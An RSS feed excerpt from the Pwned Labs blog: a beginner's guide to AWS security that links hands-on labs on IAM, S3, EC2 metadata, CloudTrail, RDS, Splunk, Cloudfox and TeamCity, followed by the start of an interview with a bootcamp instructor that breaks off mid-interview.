 &lt;p style="font-size: 18px;"&gt;IAM (Identity and Access Management) is central to building, defending and attacking cloud services. Both offensive and defensive security practitioners need a solid understanding of IAM and how to enumerate permissions: attackers look for overly-permissive settings or misconfigurations in a potential attack chain, while defenders ensure need to enforce the principle of least privilege and identify any resources or services that are in the blast radius of a compromised IAM user.&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;FREE hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/intro-to-aws-iam-enumeration"&gt;&lt;span&gt;https://pwnedlabs.io/labs/intro-to-aws-iam-enumeration&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Follow along with Micah:&lt;br&gt;&lt;a href="https://www.youtube.com/watch?v=RvrZ52ngh5Q"&gt;&lt;span&gt;https://www.youtube.com/watch?v=RvrZ52ngh5Q&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://pwnedlabs.io/labs/intro-to-aws-iam-enumeration&amp;nbsp;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-26-52-4520-PM.png?width=1784&amp;amp;height=758&amp;amp;name=image-png-May-27-2024-10-26-52-4520-PM.png" width="1784" height="758"&gt;&lt;/a&gt;&lt;span style="font-size: 18px; background-color: transparent; text-align: var(--bs-body-text-align);"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2&gt;&amp;nbsp;&lt;/h2&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Key service: Amazon S3&amp;nbsp; &#x1faa3;&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;Amazon S3 (Simple Storage Service) is a very popular AWS service (and the second oldest!) and is used to store files and backups, and can even be used to serve websites. This multi-use functionality has led some to argue that this service would be more secure if it were split into separate public web hosting and private file storage services. In recent years AWS have introduced more visual warnings when customers are making buckets world-readable, but still, if this setting is available, people will set it! Misconfigurations and overly permissive settings in S3 have resulted in many data breaches over the years.&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;FREE hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/aws-s3-enumeration-basics"&gt;&lt;span&gt;https://pwnedlabs.io/labs/aws-s3-enumeration-basics&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Follow along with Tyler:&lt;br&gt;&lt;a href="https://www.youtube.com/watch?v=aBzJeG_fTuY&amp;amp;pp=ygUKcHduZWQgbGFicw%3D%3D"&gt;&lt;span&gt;https://www.youtube.com/watch?v=aBzJeG_fTuY&amp;amp;pp=ygUKcHduZWQgbGFicw%3D%3D&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://pwnedlabs.io/labs/aws-s3-enumeration-basics&amp;nbsp;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-27-25-4371-PM.png?width=1824&amp;amp;height=614&amp;amp;name=image-png-May-27-2024-10-27-25-4371-PM.png" width="1824" height="614"&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Key service: Amazon EC2&amp;nbsp; &#x1f5a5;️&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;EC2 (Elastic Compute Cloud) is one of the most popular AWS services, and until early 2023 the EC2 metadata service didn't require authentication by default. The EC2 instance metadata service (IMDS) is a service that is only accessible from the EC2 instance. This metadata can contain sensitive information such as credentials of IAM roles that are attached to the instance.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;In 2019 a threat actor exploited a SSRF (Server-Side Request Forgery) vulnerability in a web application belonging to Capital One, that allowed the threat actor to access instance metadata that should not have been accessible remotely. The threat actor found security credentials for an IAM role in the metadata that was found to have extensive permissions in the internal AWS environment. After assuming the role they were able to access data stored in an AWS S3 bucket that contained sensitive information of Capital One customers.&lt;br&gt;&lt;br&gt;The data breach resulted in the exposure of personal information of over 100 million people in the United States and 6 million people in Canada. The exposed data included names, addresses, zip codes/postal codes, phone numbers, email addresses, dates of birth, and self-reported income. Also compromised were customer status data, credit scores, credit limits, balances, payment history, contact information, and fragments of transaction data.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Let’s replicate this real-world breach and learn about EC2 instance metadata.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;FREE hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/ssrf-to-pwned"&gt;&lt;span&gt;https://pwnedlabs.io/labs/ssrf-to-pwned&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Follow along with Tadi:&lt;br&gt;&lt;a href="https://www.youtube.com/watch?v=wWdp7N6LgCQ"&gt;&lt;span&gt;https://www.youtube.com/watch?v=wWdp7N6LgCQ&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=wWdp7N6LgCQ"&gt;&lt;img src="https://i.ytimg.com/vi/wWdp7N6LgCQ/maxresdefault.jpg" width="1280" height="720"&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Key service: AWS CloudTrail&amp;nbsp; &#x1f9e2;&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Blue teamers can use AWS CloudTrail to monitor and track user activities and API usage across AWS infrastructure. IAM brute force attacks are a significant threat to the security of AWS cloud environments, with threat actors attempting to gain unauthorized access to cloud environments by repeatedly guessing IAM user credentials. Common credentials brute force techniques include password spraying, which involves trying to login with a large number of potential users and one or two passwords (e.g. &amp;lt;Season&amp;gt;&amp;lt;Year&amp;gt;) , or credential stuffing, where a large number of username and password combinations are attempted. In both cases threat actors use tools to automate the attacks.&lt;br&gt;&lt;br&gt;AWS CloudTrail’s account logging capability, combined with Amazon Athena's querying capability allows security professionals to rapidly analyze logs for suspicious patterns. Blue teamers can get visibility of repeated failed (and successful) login attempts, helping to identify potential IAM breaches or ongoing brute force attacks. Let's get hands-on with these services and see how we can detect malicious behavior.&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;FREE hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/identify-iam-breaches-with-cloudtrail-and-athena"&gt;&lt;span&gt;https://pwnedlabs.io/labs/identify-iam-breaches-with-cloudtrail-and-athena&lt;/span&gt;&lt;/a&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://pwnedlabs.io/labs/identify-iam-breaches-with-cloudtrail-and-athena"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-31-49-1498-PM.png?width=1690&amp;amp;height=598&amp;amp;name=image-png-May-27-2024-10-31-49-1498-PM.png" width="1690" height="598"&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Key service: Amazon RDS&amp;nbsp; &#x1f4d2;&lt;/h2&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;br&gt;Amazon Relational Database Service (RDS) is a web service that allows for easy set up, operation, and scaling of relational databases in the cloud.&amp;nbsp;&lt;span&gt;One of the most important steps in defense is knowing your installed base of applications and resources, where they are accessible from, and who has permissions over them. Performing frequent inventories of current assets is a low-tech but impactful exercise. In this exercise we highlight the risks of leaving an RDS database exposed to the internet.&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;FREE hands-on lab:&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;a href="https://pwnedlabs.io/labs/pillage-exposed-rds-instances"&gt;https://pwnedlabs.io/labs/pillage-exposed-rds-instances&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;Follow along with Afshan:&lt;br&gt;&lt;/span&gt;&lt;a href="https://www.youtube.com/watch?v=Sbvi-5QqQfQ"&gt;https://www.youtube.com/watch?v=Sbvi-5QqQfQ&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;br&gt;&lt;img src="https://s3.amazonaws.com/useast1-images-pwnedlabs.io/uploads/kagkep1khfenfbgzzdmhdr5lehpyurey.png" width="1706" height="589"&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Industry tool highlight: Splunk&amp;nbsp; ❇️&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Now we’ve explored some of the fundamental AWS services, let’s examine an popular tool that can help us secure and detect threats in our AWS environment. Although AWS has some excellent native security services, CloudTrail logs can also be imported to and examined in third-party solutions such as Splunk. Splunk is a powerful SIEM (Security Information and Event Management) tool that is widely used by organizations globally to detect malicious behavior.&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Premium hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/hunt-in-the-cloud-with-splunk"&gt;&lt;span&gt;https://pwnedlabs.io/labs/hunt-in-the-cloud-with-splunk&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Follow along with Afshan:&lt;br&gt;&lt;a href="https://www.youtube.com/watch?v=_-_yqPIywjw"&gt;&lt;span&gt;https://www.youtube.com/watch?v=_-_yqPIywjw&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://pwnedlabs.io/labs/hunt-in-the-cloud-with-splunk"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-32-16-1698-PM.png?width=1280&amp;amp;height=720&amp;amp;name=image-png-May-27-2024-10-32-16-1698-PM.png" width="1280" height="720"&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Community tool highlight: Cloudfox&amp;nbsp; &#x1f98a;&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Getting situational awareness is an important step when assessing the security of unfamiliar cloud environments. While penetration testers and red teamers will do this on engagements, it's also a good exercise for blue and purple teamers to undertake periodically. The shifting permissions environment of the cloud can unintentionally expose secrets and open up unintended paths for resource and data access. &lt;a href="https://github.com/BishopFox/cloudfox"&gt;Cloudfox&lt;/a&gt; (created by &lt;a href="https://www.linkedin.com/in/sethart"&gt;Seth Art&lt;/a&gt;) can do a lot of the heavy lifting for us when getting situational awareness in AWS!&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Premium hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/get-situational-awareness-in-aws-with-cloudfox"&gt;&lt;span&gt;https://pwnedlabs.io/labs/get-situational-awareness-in-aws-with-cloudfox&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Follow along with Tyler:&lt;br&gt;&lt;a href="https://www.youtube.com/watch?v=-lMpj5RlJaY&amp;amp;list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc&amp;amp;index=10"&gt;&lt;span&gt;https://www.youtube.com/watch?v=-lMpj5RlJaY&amp;amp;list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://pwnedlabs.io/labs/get-situational-awareness-in-aws-with-cloudfox"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-32-33-5869-PM.png?width=1280&amp;amp;height=720&amp;amp;name=image-png-May-27-2024-10-32-33-5869-PM.png" width="1280" height="720"&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Real-world data breach case study&amp;nbsp; &#x1f525;&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;This lab examines a real-world scenario with TeamCity instances exposed on the internet. TeamCity is a very popular continuous integration (CI) and continuous delivery (CD) server developed by JetBrains. It provides automation capabilities for building, testing, and deploying software, ensuring that code changes are automatically tested and ready for production. It provides easy integration with cloud services such as AWS, and can store credentials for accessing cloud resources.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;The New York Times reported in 2021 that hackers might have leveraged JetBrains TeamCity to infiltrate both U.S. federal government and private sector networks. Searching on shodan.io reveals that over 4000 TeamCity server login pages are exposed to the entire internet.&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Premium hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/pwn-teamcity-in-the-cloud"&gt;&lt;span&gt;https://pwnedlabs.io/labs/pwn-teamcity-in-the-cloud&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Follow along with Tyler:&lt;br&gt;&lt;a href="https://www.youtube.com/watch?v=_N4TFAkF6zM&amp;amp;list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc&amp;amp;index=5"&gt;&lt;span&gt;https://www.youtube.com/watch?v=_N4TFAkF6zM&amp;amp;list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc&amp;amp;index=5&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;img src="https://s3.amazonaws.com/useast1-images-pwnedlabs.io/uploads/1na288lelq76mrii6jnxs9h8lntqyvmd.png" width="1742" height="925"&gt;
 &lt;br&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Hot wash&amp;nbsp; &#x1f9fd;&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;At this point you have 10 labs under your belt, and are on your way to becoming an AWS security ninja! There are over 30 hours of free AWS labs at Pwned Labs, and lots of premium labs to help prepare for the AWS Certified Security Speciality certification. While the AWS syllabus is comprehensive and provides a solid theoretical basis, you can supplement this with continuous learning using Pwned Labs and gain a more holistic understanding of security in the real-world.&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;img src="https://d1.awsstatic.com/training-and-certification/certification-badges/AWS-Certified-Security-Specialty_badge.75ad1e505c0241bdb321f4c4d9abc51c0109c54f.png" alt="AWS Certified Security - Specialty Certification | AWS Certification | AWS" style="margin-left: auto; margin-right: auto; display: block;" width="300" height="300"&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Once you feel ready for the ultimate cloud challenge, the ThunderDome cyber range and a certificate of completion awaits!&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Good luck on your AWS Security journey!&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;- Ian&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Let’s connect! - &lt;span style="font-size: 18px;"&gt;&lt;a href="http://www.linkedin.com/in/i%D0%B0n-%D0%B0ustin"&gt;www.linkedin.com/in/iаn-аustin&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Useful resources&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;Pwned Labs Discord&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;a href="https://discord.gg/pwnedlabs"&gt;https://discord.gg/pwnedlabs&lt;/a&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;Pwned Labs Cloud Security Roadmap&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;a href="https://pwnedlabs.io/roadmaps/cloud-security-engineer/"&gt;https://pwnedlabs.io/roadmaps/cloud-security-engineer/&lt;/a&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://pwnedlabs.io/roadmaps/cloud-security-engineer/"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-33-18-0533-PM.png?width=1280&amp;amp;height=720&amp;amp;name=image-png-May-27-2024-10-33-18-0533-PM.png" width="1280" height="720"&gt;&lt;/a&gt;&lt;/p&gt; 
&lt;/div&gt; 
&lt;h2&gt;&lt;br&gt;Bottom Line&lt;/h2&gt; 
&lt;p&gt;AWS security fundamentals center on three pillars: identity and access management (IAM least privilege), asset inventory and exposure visibility (S3, RDS, snapshots), and audit logging (CloudTrail). The Capital One breach and widespread public EBS snapshot exposures demonstrate that foundational misconfigurations remain the primary attack surface. Hands-on labs with real-world scenarios accelerate learning far beyond certification study alone.&lt;/p&gt;    
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fgetting-started-with-aws-security&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>AWS</category>
      <category>cloud security</category>
      <pubDate>Wed, 11 Mar 2026 19:29:52 GMT</pubDate>
      <author>ian@pwnedlabs.io (Ian Austin)</author>
      <guid>https://blog.pwnedlabs.io/getting-started-with-aws-security</guid>
      <dc:date>2026-03-11T19:29:52Z</dc:date>
    </item>
    <item>
      <title>Meet your ACRTP Bootcamp instructor: Tyler Petty</title>
      <link>https://blog.pwnedlabs.io/meet-your-acrtp-bootcamp-instructor-tyler-petty</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/meet-your-acrtp-bootcamp-instructor-tyler-petty" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/LinkedIn%20post%20-%20Meet%20Tyler%20Petty%20(1).png" alt="Meet your ACRTP Bootcamp instructor: Tyler Petty" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p style="font-size: 20px; font-weight: normal;"&gt;From building military-grade networks to cloud security guardrails, &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://www.linkedin.com/in/typetty?miniProfileUrn=urn%3Ali%3Afs_miniProfile%3AACoAABQ2sVQBd4uHIEeqlq_itYnjGkIdw4vFsH4&amp;amp;lipi=urn%3Ali%3Apage%3Ad_flagship3_search_srp_all%3BY4n8aXafQT%2BtYdSSB9XZKA%3D%3D" style="color: #ec38bc;"&gt;Tyler's&lt;/a&gt;&lt;/span&gt; journey into cybersecurity has been anything but ordinary. In this interview, we sat down with Tyler to explore his transition from the military to the private tech sector, his views on DevSecOps and AI, and what motivates him to lead Pwned Labs’ &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://bootcamps.pwnedlabs.io/acrtp-bootcamp" style="color: #ec38bc;"&gt;Amazon Cloud Attack and Defense Bootcamp&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;</description>
      <content:encoded>&lt;p style="font-size: 20px; font-weight: normal;"&gt;From building military-grade networks to cloud security guardrails, &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://www.linkedin.com/in/typetty?miniProfileUrn=urn%3Ali%3Afs_miniProfile%3AACoAABQ2sVQBd4uHIEeqlq_itYnjGkIdw4vFsH4&amp;amp;lipi=urn%3Ali%3Apage%3Ad_flagship3_search_srp_all%3BY4n8aXafQT%2BtYdSSB9XZKA%3D%3D" style="color: #ec38bc;"&gt;Tyler's&lt;/a&gt;&lt;/span&gt; journey into cybersecurity has been anything but ordinary. In this interview, we sat down with Tyler to explore his transition from the military to the private tech sector, his views on DevSecOps and AI, and what motivates him to lead Pwned Labs’ &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://bootcamps.pwnedlabs.io/acrtp-bootcamp" style="color: #ec38bc;"&gt;Amazon Cloud Attack and Defense Bootcamp&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;  
&lt;p style="font-size: 24px; font-weight: normal;"&gt;Let’s start with the basics. Who is Tyler, and what’s your background?&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;I grew up in a military family, which meant a lot of moving around, but we were mostly based in Nebraska. I’m currently in Denver, Colorado, working in tech, specifically in cloud platform security. Outside of work, I’m really into hiking and fitness, which makes Denver a perfect place. I live near a mountain that I can hike after work. Also, I’ve got a fiancée and a corgi, so life is pretty full.&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;Before we get into the technical stuff, tell us about your time in the military and how that shaped your path into cybersecurity.&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;I joined the military right out of high school, not because I had it all figured out, but because I wanted to serve, and a lot of my family had done the same. I ended up managing combat-resilient communication networks. We're talking routers, switches, satellite comms - basically, a crash course in tech infrastructure. That set the foundation. I later moved into a federal government role and eventually transitioned into the private sector.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;What sparked the move from military to cybersecurity?&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;It was pretty organic. While I was in the military, one day my commander came and asked if I’d be willing to support one of our federal government agencies with imaging computers and doing that kind of stuff. So I was like, okay, sure, I'll do it! I had a great experience there, met some great people, and later ended up working with that agency for a couple of years. At some point, I was talking with a friend at a big tech company, and he mentioned one of their teams needed someone with a Microsoft enterprise skillset — Active Directory and such. I had that, along with a Security+ cert, some cybersecurity exposure, and was working on a cyber degree. Turns out the company was building a new infosec team, and I just clicked with their needs. That’s how I got my start in cybersecurity! I kind of fell into it, really.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;What does a typical day as a security engineer look like?&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;Security engineering is always evolving and can look really different depending on the company. I’ve been in the field for about a decade, and the day-to-day can vary a lot. One day, you might be working with different teams to help build security into a new infrastructure setup or product. Another day, you might be writing code to automate workflows, triaging alerts or vulnerabilities, or testing out detections with adversary simulations. It’s a little bit of everything, and that’s what keeps it interesting!&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;Would you say your role straddles red, blue, and everything in between?&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;Definitely. It's a bit of everything - putting up defenses, building tools, gaining visibility, and simulating attacks. It’s really fun to be both a builder and an attacker. It requires you to constantly learn and keep up though but I find the challenge in that rewarding.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;AI is changing everything. What are you seeing on the ground in DevSecOps?&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;AI is quickly becoming a core part of the job for everyone. We started with chatbots, then knowledge bases, agents that perform autonomous actions and now it’s the Model Context Protocol (MCP) which lets AI connect with systems and data directly. You can give it a command in plain English, and it autonomously performs actions like building infrastructure for you.&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;But there’s a risk. AI can be unpredictable. The code it writes might be flawed or misconfigured. Until AI becomes more consistent, it's both an opportunity and a threat.&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;When I was talking with &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://blog.pwnedlabs.io/meet-your-mcrtp-bootcamp-instructor-filip-jodoin" style="color: #ec38bc;"&gt;Filip&lt;/a&gt;&lt;/span&gt;, we discussed where he saw the biggest threats for organisations, and highlighted supply chain risk as one of the areas that organisations will need to understand and monitor. How do you see that evolving?&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;Supply chain attacks are a huge concern. Everything relies on third-party code. Remember Log4j? An open-source logging framework that so many companies and products relied on suddenly had a publicly exploitable vulnerability in its code. Log4j was maintained by unpaid volunteers. Companies need to understand their dependencies; not just what code they use, but what that code depends on. Smaller companies especially are vulnerable because they often can't always afford the tools and talent that larger orgs use to manage that risk.&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;How did you get involved with Pwned Labs and the bootcamp?&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;I discovered the &lt;span style="color: #ec38bc;"&gt;&lt;a href="https://discord.gg/pwnedlabs" style="color: #ec38bc;"&gt;Pwned Labs Discord&lt;/a&gt;&lt;/span&gt; early on, probably about 6 months after it launched. At first, I was doing the labs and sharing write-ups, but I was also speaking with Ian more about some lab ideas I had. That led me to creating a couple of labs and also supporting the team with the AWS Electra cyber range. When the AWS Bootcamp launched, I was a participant, but was also helping support the other students along the way. Ian and I had a conversation at some point during the bootcamp and asked if I’d like to instruct it going forward. Heck yes I do!&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: #ffffff;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 24px; font-weight: normal;"&gt;What do you get out of running the bootcamp?&lt;/p&gt; 
